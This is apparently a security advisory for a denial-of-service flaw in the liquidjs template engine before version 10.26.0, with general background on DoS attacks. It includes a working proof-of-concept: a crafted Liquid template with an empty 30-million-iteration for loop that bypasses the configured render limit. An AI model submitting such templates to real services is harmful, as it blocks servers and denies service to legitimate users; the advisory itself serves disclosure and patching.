Denial of Service (DoS) Affecting liquidjs package, versions <10.26.0

liquidjs is an A simple, expressive, safe and Shopify compatible template engine in pure JavaScript.

Affected versions of this package are vulnerable to Denial of Service (DoS) through the renderTemplates function when the for or tablerow tag is used with an empty body. An attacker can exhaust server resources and cause significant delays in processing by submitting specially crafted templates that bypass configured time limits, resulting in prolonged event-loop blocking.

# Empty for-body bypasses renderLimit (50 ms) and runs for ~2.26 s:
$ node -e "const { Liquid } = require('liquidjs');
  const engine = new Liquid({ memoryLimit: 1e9, renderLimit: 50 });
  const t = Date.now();
  engine.parseAndRenderSync('{%- for i in (1..30000000) -%}{%- endfor -%}', {});
  console.log('Took', Date.now()-t, 'ms');"
Took 2255 ms

# Same template with a single-character body is correctly bounded:
$ node -e "const { Liquid } = require('liquidjs');
  const engine = new Liquid({ memoryLimit: 1e9, renderLimit: 50 });
  try { engine.parseAndRenderSync('{%- for i in (1..30000000) -%}.{%- endfor -%}', {}); }
  catch(e) { console.log('correctly threw:', e.message); }"
correctly threw: template render limit exceeded, line:1, col:1

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• GitHub Advisory
• GitHub Commit